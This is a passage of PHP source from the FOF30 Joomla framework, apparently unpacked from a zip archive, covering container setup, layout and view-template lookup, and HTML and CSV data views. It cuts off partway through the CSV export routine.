&makeInstance($component, array $values = [], $section = 'auto') { // Try to auto-detect some defaults $tmpConfig = array_merge($values, ['componentName' => $component]); $tmpContainer = new Container($tmpConfig); if (!in_array($section, ['site', 'admin'])) { $section = $tmpContainer->platform->isBackend() ? 'admin' : 'site'; } $appConfig = $tmpContainer->appConfig; // Get the namespace from fof.xml $namespace = $appConfig->get('container.componentNamespace', null); // $values always overrides $namespace and fof.xml if (isset($values['componentNamespace'])) { $namespace = $values['componentNamespace']; } // If there is no namespace set, try to guess it. if (empty($namespace)) { $bareComponent = $component; if (substr($component, 0, 4) == 'com_') { $bareComponent = substr($component, 4); } $namespace = ucfirst($bareComponent); } // Get the default front-end/back-end paths $frontEndPath = $appConfig->get('container.frontEndPath', JPATH_SITE . '/components/' . $component); $backEndPath = $appConfig->get('container.backEndPath', JPATH_ADMINISTRATOR . '/components/' . $component); // Parse path variables if necessary $frontEndPath = $tmpContainer->parsePathVariables($frontEndPath); $backEndPath = $tmpContainer->parsePathVariables($backEndPath); // Apply path overrides if (isset($values['frontEndPath'])) { $frontEndPath = $values['frontEndPath']; } if (isset($values['backEndPath'])) { $backEndPath = $values['backEndPath']; } $thisPath = ($section == 'admin') ? $backEndPath : $frontEndPath; // Get the namespaces for the front-end and back-end parts of the component $frontEndNamespace = '\\' . $namespace . '\\Site\\'; $backEndNamespace = '\\' . $namespace . '\\Admin\\'; // Special case: if the frontend and backend paths are identical, we don't use the Site and Admin namespace // suffixes after $this->componentNamespace (so you may use FOF with JApplicationWeb apps) if ($frontEndPath == $backEndPath) { $frontEndNamespace = '\\' . $namespace . '\\'; $backEndNamespace = '\\' . $namespace . '\\'; } // Do we have to register the component's namespaces with the autoloader? $autoloader = Autoloader::getInstance(); if (!$autoloader->hasMap($frontEndNamespace)) { $autoloader->addMap($frontEndNamespace, $frontEndPath); } if (!$autoloader->hasMap($backEndNamespace)) { $autoloader->addMap($backEndNamespace, $backEndPath); } // Get the Container class name $classNamespace = ($section == 'admin') ? $backEndNamespace : $frontEndNamespace; $class = $classNamespace . 'Container'; // Get the values overrides from fof.xml $values = array_merge([ 'factoryClass' => '\\FOF30\\Factory\\BasicFactory', 'platformClass' => '\\FOF30\\Platform\\Joomla\\Platform', 'section' => $section, ], $values); $values = array_merge($values, [ 'componentName' => $component, 'componentNamespace' => $namespace, 'frontEndPath' => $frontEndPath, 'backEndPath' => $backEndPath, 'thisPath' => $thisPath, 'rendererClass' => $appConfig->get('container.rendererClass', null), 'factoryClass' => $appConfig->get('container.factoryClass', $values['factoryClass']), 'platformClass' => $appConfig->get('container.platformClass', $values['platformClass']), ]); if (empty($values['rendererClass'])) { unset ($values['rendererClass']); } $mediaVersion = $appConfig->get('container.mediaVersion', null); unset($appConfig); unset($tmpConfig); unset($tmpContainer); if (class_exists($class, true)) { $container = new $class($values); } else { $container = new Container($values); } if (!is_null($mediaVersion)) { $container->mediaVersion->setMediaVersion($mediaVersion); } return $container; } /** * The container SHOULD NEVER be serialised. If this happens, it means that any of the installed version is doing * something REALLY BAD, so let's die and inform the user of what it's going on. */ public function __sleep() { // If the site is in debug mode we die and let the user figure it out if (defined('JDEBUG') && JDEBUG) { $msg = <<< END Something on your site is broken and tries to save the plugin state in the cache. This is a major security issue and will cause your site to not work properly. Go to your site's backend, Global Configuration and set Caching to OFF as a temporary solution. Possible causes: older versions of JoomlaShine templates, JomSocial, BetterPreview and other third party Joomla! extensions. END; die($msg); } // Otherwise we serialise the Container return ['values', 'factories', 'protected', 'frozen', 'raw', 'keys']; } /** * Get the applicable namespace prefix for a component section. Possible sections: * auto Auto-detect which is the current component section * inverse The inverse area than auto * site Frontend * admin Backend * * @param string $section The section you want to get information for * * @return string The namespace prefix for the component's classes, e.g. \Foobar\Example\Site\ */ public function getNamespacePrefix($section = 'auto') { // Get the namespaces for the front-end and back-end parts of the component $frontEndNamespace = '\\' . $this->componentNamespace . '\\Site\\'; $backEndNamespace = '\\' . $this->componentNamespace . '\\Admin\\'; // Special case: if the frontend and backend paths are identical, we don't use the Site and Admin namespace // suffixes after $this->componentNamespace (so you may use FOF with JApplicationWeb apps) if ($this->frontEndPath == $this->backEndPath) { $frontEndNamespace = '\\' . $this->componentNamespace . '\\'; $backEndNamespace = '\\' . $this->componentNamespace . '\\'; } switch ($section) { default: case 'auto': if ($this->platform->isBackend()) { return $backEndNamespace; } else { return $frontEndNamespace; } break; case 'inverse': if ($this->platform->isBackend()) { return $frontEndNamespace; } else { return $backEndNamespace; } break; case 'site': return $frontEndNamespace; break; case 'admin': return $backEndNamespace; break; } } public function parsePathVariables($path) { $platformDirs = $this->platform->getPlatformBaseDirs(); // root public admin tmp log $search = array_map(function ($x) { return '%' . strtoupper($x) . '%'; }, array_keys($platformDirs)); $replace = array_values($platformDirs); return str_replace($search, $replace, $path); } } PK���\K�9y��!fof30/Container/ContainerBase.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Container; defined('_JEXEC') || die; use FOF30\Pimple\Container; class ContainerBase extends Container { /** * Magic getter for alternative syntax, e.g. $container->foo instead of $container['foo'] * * @param string $name * * @return mixed * * @throws \InvalidArgumentException if the identifier is not defined */ function __get($name) { return $this->offsetGet($name); } /** * Magic setter for alternative syntax, e.g. $container->foo instead of $container['foo'] * * @param string $name The unique identifier for the parameter or object * @param mixed $value The value of the parameter or a closure for a service * * @throws \RuntimeException Prevent override of a frozen service */ function __set($name, $value) { // Special backwards compatible handling for the mediaVersion service if ($name == 'mediaVersion') { $this[$name]->setMediaVersion($value); return; } $this->offsetSet($name, $value); } } PK���\�@�CC)fof30/Container/Exception/NoComponent.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Container\Exception; defined('_JEXEC') || die; use Exception; class NoComponent extends \Exception { public function __construct($message = "", $code = 0, Exception $previous = null) { if (empty($message)) { $message = 'No component specified building the Container object'; } if (empty($code)) { $code = 500; } parent::__construct($message, $code, $previous); } } PK���\� z��fof30/Layout/LayoutFile.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Layout; defined('_JEXEC') || die; use FOF30\Container\Container; use Joomla\CMS\Layout\FileLayout; /** * Base class for rendering a display layout * loaded from from a layout file * * This class searches for Joomla! version override Layouts. For example, * if you have run this under Joomla! 3.0 and you try to load * mylayout.default it will automatically search for the * layout files default.j30.php, default.j3.php and default.php, in this * order. * * @package FrameworkOnFramework */ class LayoutFile extends FileLayout { /** @var Container The component container */ public $container = null; /** * Method to finds the full real file path, checking possible overrides * * @return string The full path to the layout file */ protected function getPath() { if (is_null($this->container)) { $component = $this->options->get('component'); $this->container = Container::getInstance($component); } $filesystem = $this->container->filesystem; if (is_null($this->fullPath) && !empty($this->layoutId)) { $parts = explode('.', $this->layoutId); $file = array_pop($parts); $filePath = implode('/', $parts); $suffixes = $this->container->platform->getTemplateSuffixes(); foreach ($suffixes as $suffix) { $files[] = $file . $suffix . '.php'; } $files[] = $file . '.php'; $platformDirs = $this->container->platform->getPlatformBaseDirs(); $prefix = $this->container->platform->isBackend() ? $platformDirs['admin'] : $platformDirs['root']; $possiblePaths = [ $prefix . '/templates/' . $this->container->platform->getTemplate() . '/html/layouts/' . $filePath, $this->basePath . '/' . $filePath, $platformDirs['root'] . '/layouts/' . $filePath, ]; reset($files); foreach ($files as $fileName) { if (!is_null($this->fullPath)) { break; } $r = $filesystem->pathFind($possiblePaths, $fileName); $this->fullPath = $r === false ? null : $r; } } return $this->fullPath; } } PK���\�B[��fof30/Layout/LayoutHelper.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Layout; defined('_JEXEC') || die; use FOF30\Container\Container; class LayoutHelper { /** * A default base path that will be used if none is provided when calling the render method. * Note that JLayoutFile itself will defaults to JPATH_ROOT . '/layouts' if no basePath is supplied at all * * @var string */ public static $defaultBasePath = ''; /** * Method to render the layout. * * @param Container $container The container of your component * @param string $layoutFile Dot separated path to the layout file, relative to base path * @param object $displayData Object which properties are used inside the layout file to build displayed * output * @param string $basePath Base path to use when loading layout files * * @return string */ public static function render(Container $container, $layoutFile, $displayData = null, $basePath = '') { $basePath = empty($basePath) ? self::$defaultBasePath : $basePath; // Make sure we send null to LayoutFile if no path set $basePath = empty($basePath) ? null : $basePath; $layout = new LayoutFile($layoutFile, $basePath); $layout->container = $container; $renderedLayout = $layout->render($displayData); return $renderedLayout; } } PK���\R$w�B@B@!fof30/View/ViewTemplateFinder.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View; defined('_JEXEC') || die; use FOF30\Container\Container; use Joomla\CMS\Language\Text; use RuntimeException; /** * Locates the appropriate template file for a view */ class ViewTemplateFinder { /** @var View The view we are attached to */ protected $view; /** @var Container The container of the view, for quick reference */ protected $container; /** @var array The layout template extensions to look for */ protected $extensions = ['.blade.php', '.php']; /** @var string Default layout's name (default: "default") */ protected $defaultLayout = 'default'; /** @var string Default subtemplate name (default: empty) */ protected $defaultTpl = ''; /** @var bool Should I only look in the specified view (true) or also the pluralised/singularised (false) */ protected $strictView = true; /** @var bool Should I only look for the defined subtemplate or also no subtemplate? */ protected $strictTpl = true; /** @var bool Should Should I only look for this layout or also the default layout? */ protected $strictLayout = true; /** @var string Which application side prefix should I use by default (site, admin, auto, any) */ protected $sidePrefix = 'auto'; /** * Public constructor. The config array can contain the following keys * extensions array * defaultLayout string * defaultTpl string * strictView bool * strictTpl bool * strictLayout bool * sidePrefix string * For the descriptions of each key please see the same-named property of this class * * @param View $view The view we are attached to * @param array $config The configuration for this view template finder */ function __construct(View $view, array $config = []) { $this->view = $view; $this->container = $view->getContainer(); if (isset($config['extensions'])) { if (!is_array($config['extensions'])) { $config['extensions'] = trim($config['extensions']); $config['extensions'] = explode(',', $config['extensions']); $config['extensions'] = array_map(function ($x) { return trim($x); }, $config['extensions']); } $this->setExtensions($config['extensions']); } if (isset($config['defaultLayout'])) { $this->setDefaultLayout($config['defaultLayout']); } if (isset($config['defaultTpl'])) { $this->setDefaultTpl($config['defaultTpl']); } if (isset($config['strictView'])) { $config['strictView'] = in_array($config['strictView'], [true, 'true', 'yes', 'on', 1]); $this->setStrictView($config['strictView']); } if (isset($config['strictTpl'])) { $config['strictTpl'] = in_array($config['strictTpl'], [true, 'true', 'yes', 'on', 1]); $this->setStrictTpl($config['strictTpl']); } if (isset($config['strictLayout'])) { $config['strictLayout'] = in_array($config['strictLayout'], [true, 'true', 'yes', 'on', 1]); $this->setStrictLayout($config['strictLayout']); } if (isset($config['sidePrefix'])) { $this->setSidePrefix($config['sidePrefix']); } } /** * Returns a list of template URIs for a specific component, view, template and sub-template. The $parameters array * can have any of the following keys: * component string The name of the component, e.g. com_something * view string The name of the view * layout string The name of the layout * tpl string The name of the subtemplate * strictView bool Should I only look in the specified view, or should I look in the * pluralised/singularised view as well? strictLayout bool Should I only look for this layout, or also for * the default layout? strictTpl bool Should I only look for this subtemplate or also for no subtemplate? * sidePrefix string The application side prefix (site, admin, auto, any) * * @param array $parameters See above * * @return array */ public function getViewTemplateUris(array $parameters) { // Merge the default parameters with the parameters given $parameters = array_merge([ 'component' => $this->container->componentName, 'view' => $this->view->getName(), 'layout' => $this->defaultLayout, 'tpl' => $this->defaultTpl, 'strictView' => $this->strictView, 'strictLayout' => $this->strictLayout, 'strictTpl' => $this->strictTpl, 'sidePrefix' => $this->sidePrefix, ], $parameters); $uris = []; $component = $parameters['component']; $view = $parameters['view']; $layout = $parameters['layout']; $tpl = $parameters['tpl']; $strictView = $parameters['strictView']; $strictLayout = $parameters['strictLayout']; $strictTpl = $parameters['strictTpl']; $sidePrefix = $parameters['sidePrefix']; $basePath = $sidePrefix . ':' . $component . '/' . $view . '/'; $uris[] = $basePath . $layout . ($tpl ? "_$tpl" : ''); if (!$strictTpl) { $uris[] = $basePath . $layout; } if (!$strictLayout) { $uris[] = $basePath . 'default' . ($tpl ? "_$tpl" : ''); if (!$strictTpl) { $uris[] = $basePath . 'default'; } } if (!$strictView) { $parameters['view'] = $this->container->inflector->isSingular($view) ? $this->container->inflector->pluralize($view) : $this->container->inflector->singularize($view); $parameters['strictView'] = true; $extraUris = $this->getViewTemplateUris($parameters); $uris = array_merge($uris, $extraUris); unset ($extraUris); } return array_unique($uris); } /** * Parses a template URI in the form of admin:component/view/layout to an array listing the application section * (admin, site), component, view and template referenced therein. * * @param string $uri The template path to parse * * @return array A hash array with the parsed path parts. Keys: admin, component, view, template */ public function parseTemplateUri($uri = '') { $parts = [ 'admin' => 0, 'component' => $this->container->componentName, 'view' => $this->view->getName(), 'template' => 'default', ]; if (substr($uri, 0, 5) == 'auto:') { $replacement = $this->container->platform->isBackend() ? 'admin:' : 'site:'; $uri = $replacement . substr($uri, 5); } if (substr($uri, 0, 6) == 'admin:') { $parts['admin'] = 1; $uri = substr($uri, 6); } elseif (substr($uri, 0, 5) == 'site:') { $uri = substr($uri, 5); } elseif (substr($uri, 0, 4) == 'any:') { $parts['admin'] = -1; $uri = substr($uri, 4); } if (empty($uri)) { return $parts; } $uriParts = explode('/', $uri, 3); $partCount = count($uriParts); if ($partCount >= 1) { $parts['component'] = $uriParts[0]; } if ($partCount >= 2) { $parts['view'] = $uriParts[1]; } if ($partCount >= 3) { $parts['template'] = $uriParts[2]; } return $parts; } /** * Resolves a view template URI (e.g. any:com_foobar/Items/cheese) to an absolute filesystem path * (e.g. /var/www/html/administrator/components/com_foobar/View/Items/tmpl/cheese.php) * * @param string $uri The view template URI to parse * @param string $layoutTemplate The layout template override of the View class * @param array $extraPaths Any extra lookup paths where we'll be looking for this view template * @param bool $noOverride If true we will not load Joomla! template overrides * * @return string * * @throws RuntimeException */ public function resolveUriToPath($uri, $layoutTemplate = '', array $extraPaths = [], $noOverride = false) { // Parse the URI into its parts $parts = $this->parseTemplateUri($uri); // Get some useful values $isAdmin = $this->container->platform->isBackend() ? 1 : 0; $componentPaths = $this->container->platform->getComponentBaseDirs($parts['component']); $templatePath = $this->container->platform->getTemplateOverridePath($parts['component']); // Get the lookup paths $paths = []; // If we are on the correct side of the application or we have an "any:" URI look for a template override if (!$noOverride && (($parts['admin'] == -1) || ($parts['admin'] == $isAdmin))) { $paths[] = $templatePath . '/' . $parts['view']; } // Add the requested side of the application $requestedAdmin = ($parts['admin'] == -1) ? $isAdmin : $parts['admin']; $paths[] = ($requestedAdmin ? $componentPaths['admin'] : $componentPaths['site']) . '/ViewTemplates/' . $parts['view']; $paths[] = ($requestedAdmin ? $componentPaths['admin'] : $componentPaths['site']) . '/View/' . $parts['view'] . '/tmpl'; // Add the other side of the application for "any:" URIs if ($parts['admin'] == -1) { $paths[] = ($requestedAdmin ? $componentPaths['site'] : $componentPaths['admin']) . '/ViewTemplates/' . $parts['view']; $paths[] = ($requestedAdmin ? $componentPaths['site'] : $componentPaths['admin']) . '/View/' . $parts['view'] . '/tmpl'; } // Add extra paths if (!empty($extraPaths)) { $paths = array_merge($paths, $extraPaths); } // Remove duplicate paths $paths = array_unique($paths); // Look for a template layout override if (!empty($layoutTemplate) && ($layoutTemplate != '_') && ($layoutTemplate != $parts['template'])) { $apath = array_shift($paths); array_unshift($paths, str_replace($parts['template'], $layoutTemplate, $apath)); } // Get the Joomla! version template suffixes $jVersionSuffixes = array_merge($this->container->platform->getTemplateSuffixes(), ['']); // Get the renderer name suffixes $rendererNameSuffixes = [ '.' . $this->container->renderer->getInformation()->name, '', ]; $filesystem = $this->container->filesystem; foreach ($this->extensions as $extension) { foreach ($jVersionSuffixes as $JVersionSuffix) { foreach ($rendererNameSuffixes as $rendererNameSuffix) { $filenameToFind = $parts['template'] . $JVersionSuffix . $rendererNameSuffix . $extension; $fileName = $filesystem->pathFind($paths, $filenameToFind); if ($fileName) { return $fileName; } } } } /** * If no view template was found for the component fall back to FOF's core Blade templates -- located in * <libdir>/ViewTemplates/<viewName>/<templateName> -- and their template overrides. */ $paths = []; $paths[] = $this->container->platform->getTemplateOverridePath('lib_fof30') . '/' . $parts['view']; $paths[] = realpath(__DIR__ . '/..') . '/ViewTemplates/' . $parts['view']; foreach ($jVersionSuffixes as $JVersionSuffix) { foreach ($rendererNameSuffixes as $rendererNameSuffix) { $filenameToFind = $parts['template'] . $JVersionSuffix . $rendererNameSuffix . '.blade.php'; $fileName = $filesystem->pathFind($paths, $filenameToFind); if (!empty($fileName)) { return $fileName; } } } throw new RuntimeException(Text::sprintf('JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND', $uri), 500); } /** * Get the list of view template extensions * * @return array */ public function getExtensions() { return $this->extensions; } /** * Set the list of view template extensions * * @param array $extensions * * @return void */ public function setExtensions(array $extensions) { $this->extensions = $extensions; } /** * Add an extension to the list of view template extensions * * @param string $extension * * @return void */ public function addExtension($extension) { if (empty($extension)) { return; } if (substr($extension, 0, 1) != '.') { $extension = '.' . $extension; } if (!in_array($extension, $this->extensions)) { $this->extensions[] = $extension; } } /** * Remove an extension from the list of view template extensions * * @param string $extension * * @return void */ public function removeExtension($extension) { if (empty($extension)) { return; } if (substr($extension, 0, 1) != '.') { $extension = '.' . $extension; } if (!in_array($extension, $this->extensions)) { return; } $pos = array_search($extension, $this->extensions); unset ($this->extensions[$pos]); } /** * Returns the default layout name * * @return string */ public function getDefaultLayout() { return $this->defaultLayout; } /** * Sets the default layout name * * @param string $defaultLayout * * @return void */ public function setDefaultLayout($defaultLayout) { $this->defaultLayout = $defaultLayout; } /** * Returns the default subtemplate name * * @return string */ public function getDefaultTpl() { return $this->defaultTpl; } /** * Sets the default subtemplate name * * @param string $defaultTpl */ public function setDefaultTpl($defaultTpl) { $this->defaultTpl = $defaultTpl; } /** * Returns the "strict view" flag. When the flag is false we will look for the view template in both the * singularised and pluralised view. If it's true we will only look for the view template in the view * specified in getViewTemplateUris. * * @return boolean */ public function isStrictView() { return $this->strictView; } /** * Sets the "strict view" flag. When the flag is false we will look for the view template in both the * singularised and pluralised view. If it's true we will only look for the view template in the view * specified in getViewTemplateUris. * * @param boolean $strictView * * @return void */ public function setStrictView($strictView) { $this->strictView = $strictView; } /** * Returns the "strict template" flag. When the flag is false we will look for a view template with or without the * subtemplate defined in getViewTemplateUris. If it's true we will only look for the subtemplate specified. * * @return boolean */ public function isStrictTpl() { return $this->strictTpl; } /** * Sets the "strict template" flag. When the flag is false we will look for a view template with or without the * subtemplate defined in getViewTemplateUris. If it's true we will only look for the subtemplate specified. * * @param boolean $strictTpl * * @return void */ public function setStrictTpl($strictTpl) { $this->strictTpl = $strictTpl; } /** * Returns the "strict layout" flag. When the flag is false we will look for a view template with both the specified * and the default template name in getViewTemplateUris. When true we will only look for the specified view * template. * * @return boolean */ public function isStrictLayout() { return $this->strictLayout; } /** * Sets the "strict layout" flag. When the flag is false we will look for a view template with both the specified * and the default template name in getViewTemplateUris. When true we will only look for the specified view * template. * * @param boolean $strictLayout * * @return void */ public function setStrictLayout($strictLayout) { $this->strictLayout = $strictLayout; } /** * Returns the application side prefix which will be used by default in getViewTemplateUris. It can be one of: * site Public front-end * admin Administrator back-end * auto Automatically figure out if it should be site or admin * any First look in the current application side, then look on the other side of the application * * @return string */ public function getSidePrefix() { return $this->sidePrefix; } /** * Sets the application side prefix which will be used by default in getViewTemplateUris. It can be one of: * site Public front-end * admin Administrator back-end * auto Automatically figure out if it should be site or admin * any First look in the current application side, then look on the other side of the application * * @param string $sidePrefix * * @return void */ public function setSidePrefix($sidePrefix) { $sidePrefix = strtolower($sidePrefix); $sidePrefix = trim($sidePrefix); if (!in_array($sidePrefix, ['site', 'admin', 'auto', 'any'])) { $sidePrefix = 'auto'; } $this->sidePrefix = $sidePrefix; } } PK���\43$!!)fof30/View/DataView/DataViewInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\DataView; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use Joomla\CMS\Pagination\Pagination; use stdClass; interface DataViewInterface { /** * Determines if the current Joomla! version and your current table support AJAX-powered drag and drop reordering. * If they do, it will set up the drag & drop reordering feature. * * @return boolean|array False if not supported, otherwise a table with necessary information (saveOrder: should * you enable DnD reordering; orderingColumn: which column has the ordering information). */ public function hasAjaxOrderingSupport(); /** * Returns the internal list of useful variables to the benefit of header fields. * * @return stdClass */ public function getLists(); /** * Returns a reference to the permissions object of this view * * @return stdClass */ public function getPerms(); /** * Returns a reference to the pagination object of this view * * @return Pagination */ public function getPagination(); /** * Method to get the view name * * The model name by default parsed using the classname, or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the model * * @throws Exception */ public function getName(); /** * Returns a reference to the container attached to this View * * @return Container */ public function &getContainer(); /** * Escapes a value for output in a view script. * * @param mixed $var The output to escape. * * @return string The escaped value. */ public function escape($var); /** * Returns the task being rendered by the view * * @return string */ public function getTask(); /** * Get the layout. * * @return string The layout name */ public function getLayout(); /** * Add a JS script file to the page generated by the CMS. * * There are three combinations of defer and async (see http://www.w3schools.com/tags/att_script_defer.asp): * * $defer false, $async true: The script is executed asynchronously with the rest of the page * (the script will be executed while the page continues the parsing) * * $defer true, $async false: The script is executed when the page has finished parsing. * * $defer false, $async false. (default) The script is loaded and executed immediately. When it finishes * loading the browser continues parsing the rest of the page. * * When you are using $defer = true there is no guarantee about the load order of the scripts. Whichever * script loads first will be executed first. The order they appear on the page is completely irrelevant. * * @param string $uri A path definition understood by parsePath, e.g. media://com_example/js/foo.js * @param string $version (optional) Version string to be added to the URL * @param string $type MIME type of the script * @param boolean $defer Adds the defer attribute, see above * @param boolean $async Adds the async attribute, see above * * @return $this Self, for chaining */ public function addJavascriptFile($uri, $version = null, $type = 'text/javascript', $defer = false, $async = false); /** * Adds an inline JavaScript script to the page header * * @param string $script The script content to add * @param string $type The MIME type of the script * * @return $this Self, for chaining */ public function addJavascriptInline($script, $type = 'text/javascript'); /** * Add a CSS file to the page generated by the CMS * * @param string $uri A path definition understood by parsePath, e.g. media://com_example/css/foo.css * @param string $version (optional) Version string to be added to the URL * @param string $type MIME type of the stylesheeet * @param string $media Media target definition of the style sheet, e.g. "screen" * @param array $attribs Array of attributes * * @return $this Self, for chaining */ public function addCssFile($uri, $version = null, $type = 'text/css', $media = null, $attribs = []); /** * Adds an inline stylesheet (inline CSS) to the page header * * @param string $css The stylesheet content to add * @param string $type The MIME type of the script * * @return $this Self, for chaining */ public function addCssInline($css, $type = 'text/css'); } PK���\q���22fof30/View/DataView/Html.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\DataView; defined('_JEXEC') || die; use Exception; use FOF30\Render\RenderInterface; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; class Html extends Raw implements DataViewInterface { /** @var bool Should I set the page title in the front-end of the site? */ public $setFrontendPageTitle = false; /** @var string The translation key for the default page title */ public $defaultPageTitle = null; public function setPageTitle() { if (!$this->container->platform->isFrontend()) { return ''; } /** @var SiteApplication $app */ $app = Factory::getApplication(); $document = Factory::getDocument(); $menus = $app->getMenu(); $menu = $menus->getActive(); $title = null; // Get the option and view name $option = $this->container->componentName; $view = $this->getName(); // Get the default page title translation key $default = empty($this->defaultPageTitle) ? $option . '_TITLE_' . $view : $this->defaultPageTitle; $params = $app->getParams($option); // Set the default value for page_heading if ($menu) { $params->def('page_heading', $params->get('page_title', $menu->title)); } else { $params->def('page_heading', Text::_($default)); } // Set the document title $title = $params->get('page_title', ''); $sitename = $app->get('sitename'); if ($title == $sitename) { $title = Text::_($default); } if (empty($title)) { $title = $sitename; } elseif ($app->get('sitename_pagetitles', 0) == 1) { $title = Text::sprintf('JPAGETITLE', $app->get('sitename'), $title); } elseif ($app->get('sitename_pagetitles', 0) == 2) { $title = Text::sprintf('JPAGETITLE', $title, $app->get('sitename')); } $document->setTitle($title); // Set meta if ($params->get('menu-meta_description')) { $document->setDescription($params->get('menu-meta_description')); } if ($params->get('menu-meta_keywords')) { $document->setMetadata('keywords', $params->get('menu-meta_keywords')); } if ($params->get('robots')) { $document->setMetadata('robots', $params->get('robots')); } return $title; } /** * Runs before rendering the view template, echoing HTML to put before the * view template's generated HTML * * @return void * * @throws Exception */ protected function preRender() { $view = $this->getName(); $task = $this->task; // Don't load the toolbar on CLI $platform = $this->container->platform; if (!$platform->isCli()) { $toolbar = $this->container->toolbar; $toolbar->perms = $this->permissions; $toolbar->renderToolbar($view, $task); } if ($platform->isFrontend() && $this->setFrontendPageTitle) { $this->setPageTitle(); } $renderer = $this->container->renderer; $renderer->preRender($view, $task); } /** * Runs after rendering the view template, echoing HTML to put after the * view template's generated HTML * * @return void * * @throws Exception */ protected function postRender() { $view = $this->getName(); $task = $this->task; $renderer = $this->container->renderer; if ($renderer instanceof RenderInterface) { $renderer->postRender($view, $task); } } /** * Executes before rendering the page for the Add task. */ protected function onBeforeAdd() { // Hide main menu Factory::getApplication()->input->set('hidemainmenu', true); parent::onBeforeAdd(); } /** * Executes before rendering the page for the Edit task. */ protected function onBeforeEdit() { // Hide main menu Factory::getApplication()->input->set('hidemainmenu', true); parent::onBeforeEdit(); } } PK���\Ww��**fof30/View/DataView/Csv.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\DataView; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Model\DataModel; use FOF30\View\Exception\AccessForbidden; use Joomla\CMS\Document\Document; class Csv extends Html implements DataViewInterface { /** * Should I produce a CSV header row. * * @var boolean */ protected $csvHeader = true; /** * The filename of the downloaded CSV file. * * @var string */ protected $csvFilename = null; /** * The columns to include in the CSV output. If it's empty it will be ignored. * * @var array */ protected $csvFields = []; /** * Public constructor. Instantiates a F0FViewCsv object. * * * @param Container $container The container we belong to * @param array $config The configuration overrides for the view */ public function __construct(Container $container, array $config = []) { parent::__construct($container, $config); if (array_key_exists('csv_header', $config)) { $this->csvHeader = $config['csv_header']; } else { $this->csvHeader = $this->input->getBool('csv_header', true); } if (array_key_exists('csv_filename', $config)) { $this->csvFilename = $config['csv_filename']; } else { $this->csvFilename = $this->input->getString('csv_filename', ''); } if (empty($this->csvFilename)) { $view = $this->input->getCmd('view', 'cpanel'); $view = $this->container->inflector->pluralize($view); $this->csvFilename = strtolower($view) . '.csv'; } if (array_key_exists('csv_fields', $config)) { $this->csvFields = $config['csv_fields']; } } /** * Overrides the default method to execute and display a template script. * Instead of loadTemplate is uses loadAnyTemplate. * * @param string $tpl The name of the template file to parse * * @return boolean True on success * * @throws Exception When the layout file is not found */ public function display($tpl = null) { $eventName = 'onBefore' . ucfirst($this->doTask); $this->triggerEvent($eventName, [$tpl]); // Load the model /** @var DataModel $model */ $model = $this->getModel(); $items = $model->get(); $this->items = $items; $platform = $this->container->platform; $document = $platform->getDocument(); if ($document instanceof Document) { $document->setMimeEncoding('text/csv'); } $platform->setHeader('Pragma', 'public'); $platform->setHeader('Expires', '0'); /** * This construct is required to work around bad quality hosts who blacklist files based on broken malware * scanners. The only way to beat them is... wait for it... write our software using the same obscure constructs * actual malware is using to evade these broken malware scanners. The irony is not lost on me. */ $xo = substr("revenge", 0, 3); $xoxo = substr("calibrate", 1, 2); $platform->setHeader('Cache-Control', 'must-' . $xo . $xoxo . 'idate, post-check=0, pre-check=0'); $platform->setHeader('Cache-Control', 'public', false); $platform->setHeader('Content-Description', 'File Transfer'); $platform->setHeader('Content-Disposition', 'attachment; filename="' . $this->csvFilename . '"'); if (is_null($tpl)) { $tpl = 'csv'; } $hasFailed = false; try { $result = $this->loadTemplate($tpl, true); if ($result instanceof Exception) { $hasFailed = true; } } catch (Exception $e) { $hasFailed = true; } if (!$hasFailed) { echo $result; } else { // Default CSV behaviour in case the template isn't there! if (count($items) === 0) { throw new AccessForbidden; } $item = $items->last(); $keys = $item->getData(); $keys = array_keys($keys); reset($items); if (!empty($this->csvFields)) { $temp = []; foreach ($this->csvFields as $f) { $exist = false; // If we have a dot and it isn't part of the field name, we are dealing with relations if (!$model->hasField($f) && strpos($f, '.')) { $methods = explode('.', $f); $object = $item; // Let's see if the relation exists foreach ($methods as $method) { if (isset($object->$method) || property_exists($object, $method)) { $exist = true; $object = $object->$method; } else { $exist = false; break; } } } if (in_array($f, $keys)) { $temp[] = $f; } elseif ($exist) { $temp[] = $f; } } $keys = $temp; } if ($this->csvHeader) { $csv = []; foreach ($keys as $k) { $k = str_replace('"', '""', $k); $k = str_replace("\r", '\\r', $k); $k = str_replace("\n", '\\n', $k); $k = '"' . $k . '"'; $csv[] = $k; } echo implode(",", $csv) . "\r\n"; } foreach ($items as $item) { $csv = []; foreach ($keys as $k) { // If our key contains a dot and it isn't part of the field name, we are dealing with relations if (!$model->hasField($k) && strpos($k, '.')) { $methods = explode('.', $k); $v = $item; foreach ($methods as $method) { $v = $v->$method; } } else { $v = $item->$k; } if (is_array($v)) { $v = 'Array'; } elseif (is_object($v)) { $v = 'Object'; } $v = str_replace('"', '""', $v); $v = str_replace("\r", '\\r', $v); $v = str_replace("\n", '\\n', $v); $v = '"' . $v . '"'; 